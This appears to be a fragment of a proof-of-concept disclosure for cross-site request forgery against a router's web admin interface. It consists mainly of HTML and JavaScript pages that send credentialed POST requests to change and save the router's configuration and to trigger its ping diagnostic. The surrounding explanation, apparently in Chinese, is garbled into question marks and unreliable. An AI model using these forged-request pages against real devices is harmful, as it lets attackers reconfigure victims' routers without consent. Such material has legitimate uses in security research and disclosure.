????REQUEST2:
<html>
<body>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST"?? "http://192.168.0.1/pigwidgeon.cgi"?? true);
xhr.setRequestHeader("Accept"?? "text/html??application/xhtml+xml??application/xml;q=0.9??*/*;q=0.8");
xhr.setRequestHeader("Accept-Language"?? "en-US??en;q=0.5");
xhr.setRequestHeader("Content-Type"?? "application/x-www-form-urlencoded; charset=UTF-8");
xhr.withCredentials = "true";
var body = "ACTIONS=SETCFG%2CSAVE%2CACTIVATE";
xhr.send(body);
}
</script>
<form action="#">
<input type="button" value="Submit request2" onclick="submitRequest();" />
</form>
</body>
</html>
????REQUEST1??REQUEST2?У?????·???????IP?????192.198.0.1???????????admin??REQUEST1?е?request?????У???????????==OoXxGgYy==?????????????admin???????????????????????????????admin2??????????????????????2228.
????PART2??ping?????????
????REQUEST3:
<html>
<body>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST"?? "http://192.168.0.1/diagnostic.php"?? true);
xhr.setRequestHeader("Accept"?? "text/html??application/xhtml+xml??application/xml;q=0.9??*/*;q=0.8");
xhr.setRequestHeader("Accept-Language"?? "en-US??en;q=0.5");
xhr.setRequestHeader("Content-Type"?? "application/x-www-form-urlencoded; charset=UTF-8");
xhr.withCredentials = "true";
var body = "act=ping&dst=X.Y.Z.W";
xhr.send(body);
}
</script>
<form action="#">
<input type="button" value="Submit request3" onclick="submitRequest();" />
</form>
</body>
</html>
???????????????е?X.Y.Z.W??????ping??????IP????????